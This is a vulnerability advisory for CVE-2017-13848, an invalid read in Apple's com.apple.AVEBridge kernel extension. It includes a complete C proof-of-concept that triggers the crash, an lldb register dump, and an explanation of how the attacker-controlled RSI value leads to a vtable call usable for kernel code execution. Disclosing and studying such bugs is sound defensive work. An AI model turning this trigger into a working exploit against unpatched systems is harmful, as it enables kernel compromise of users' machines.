

Apple - com_apple_AVEBridge::query Completion Invalid Read

Software	Apple macOS, Apple iOS
Affected Versions	macOS 10.13.1
CVE Reference	CVE-2017-13848
Author	Alex Plaskett
Severity	High
Vendor	Apple
Vendor Response	Patch available (https://support.apple.com/en-gb/HT208331)

Description:

The 'com.apple.AVEBridge' IOKit kernel extension was found to contain a vulnerability when handling data passed from user space into the kernel.

Impact:

This vulnerability could be used to obtain kernel code execution on affected systems.

Cause:

The kernel extension does not perform appropriate sanitisation of data passed from user space.

Interim Workaround:

N/A

Solution:

Users should apply the released security update from Apple (<https://support.apple.com/en-gb/HT208331>).

Technical details

The following code was found to trigger the issue:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char *argv[])
{

    kern_return_t err;

    io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("com_apple_AVEBridge"));

    if (service == IO_OBJECT_NULL){
        printf("unable to find service\n");
        return 1;
    }

    io_connect_t conn = MACH_PORT_NULL;
    err = IOServiceOpen(service, mach_task_self(), 0, &conn);
    if (err != KERN_SUCCESS){
        printf("unable to get user client connection\n");
        return 1;
    }

    printf("got userclient connection: %x\n", conn);
```

```
// First make a connection to the userclient with selector 0.

unsigned int selector = 0;

uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;

uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;

char outputStruct[4096];
size_t outputStructCnt = 0;

char inputStruct[] = "";
size_t inputStructCnt = 0;

err =
IOConnectCallMethod(conn, selector, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, out
putScalar, &outputScalarCnt, outputStruct, &outputStructCnt);

printf("Open user client: %d\n", err);

// Now make the vulnerable query_completion call
selector = 3;

inputScalar[0] = 0x4141414141414141;
inputScalarCnt = 1;

outputScalar[0] = 1;
outputScalarCnt = 1;

err =
IOConnectCallMethod(conn, selector, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, out
putScalar, &outputScalarCnt, outputStruct, &outputStructCnt);

return 0;
}
```

This leads to the following crash occurring:

```
Version: Darwin Kernel Version 17.0.0: Thu Aug 24 21:48:19 PDT 2017; root:xnu-
4570.1.46~2/RELEASE_X86_64; UUID=B84FDEFC-9081-35CE-8C51-25A9583AACDE;
stext=0xffffffff801d600000

Kernel UUID: B84FDEFC-9081-35CE-8C51-25A9583AACDE

Load Address: 0xffffffff801d600000

Kernel slid 0x1d400000 in memory.

Loaded kernel file //System/Library/Kernels/kernel

Loading 159 kext modules
.....
..... done.

Process 1 stopped

* thread #1, stop reason = signal SIGSTOP

    frame #0: 0xffffffff7fa03ce0fc AVEBridge`com_apple_AVEBridge::queryCompletion(unsigned
long long, unsigned long long*) + 18
AVEBridge`com_apple_AVEBridge::queryCompletion:
-> 0xffffffff7fa03ce0fc <+18>: mov     rdi, qword ptr [rdi + 8*rsi + 0xa8]
    0xffffffff7fa03ce104 <+26>: mov     rax, qword ptr [rdi]
    0xffffffff7fa03ce107 <+29>: lea     rsi, [rip - 0x80]          ;
com_apple_AVEBridge::queryCompletionGated(unsigned long long*, unsigned long long*)
    0xffffffff7fa03ce10e <+36>: xor     r8d, r8d

(lldb) di -s $rip -c 20
AVEBridge`com_apple_AVEBridge::queryCompletion:
-> 0xffffffff7fa03ce0fc <+18>: mov     rdi, qword ptr [rdi + 8*rsi + 0xa8]
    0xffffffff7fa03ce104 <+26>: mov     rax, qword ptr [rdi]
    0xffffffff7fa03ce107 <+29>: lea     rsi, [rip - 0x80]          ;
com_apple_AVEBridge::queryCompletionGated(unsigned long long*, unsigned long long*)
    0xffffffff7fa03ce10e <+36>: xor     r8d, r8d
    0xffffffff7fa03ce111 <+39>: xor     r9d, r9d
    0xffffffff7fa03ce114 <+42>: call    qword ptr [rax + 0x1c8]
    0xffffffff7fa03ce11a <+48>: add     rsp, 0x10
    0xffffffff7fa03ce11e <+52>: pop     rbp
    0xffffffff7fa03ce11f <+53>: ret

(lldb) register read

General Purpose Registers:
    rax = 0x0000000001000001
```

```
rbx = 0xffffffff803fd4b600
rcx = 0xffffffff913f2a3d10
rdx = 0xffffffff913f2a3ae8
rdi = 0xffffffff803d08f600
rsi = 0x4141414141414141
rbp = 0xffffffff913f2a3af0
rsp = 0xffffffff913f2a3ae0
r8 = 0xffffffff803fd4b600
r9 = 0x0000000000000000
r10 = 0xffffffff803dc85aa8
r11 = 0xffffffff803c2f060c
r12 = 0x4141414141414141
r13 = 0x0000000000000000
r14 = 0x00000000e00002cd
r15 = 0xffffffff913f2a3d10

rip = 0xffffffff7fa03ce0fc AVEBridge`com_apple_AVEBridge::queryCompletion(unsigned
long long, unsigned long long*) + 18
rflags = 0x0000000000010282
cs = 0x0000000000000008
fs = 0x00000000ffff0000
gs = 0x000000003f2a0000
```

As can be observed, at the time of the crash the RSI register is fully under control of the attacker (and R12 register) as shown with the value 0x4141414141414141. This value will then be used as an offset from the base RDI address to calculate RDI (mov rdi, qword ptr [rdi + 8*rsi + 0xa8]).

The new value of RDI will then be dereferenced and stored within RAX. This will then be used for a vtable indirect call based on this value.

Therefore if an attacker is able to position controlled kernel memory at these locations, it is expected this could be turned into code execution.

Detailed Timeline

Date	Summary
2017-09-25	Issue reported to vendor
2017-12-06	Vendor issues patch
2018-01-19	MWR Labs releases advisory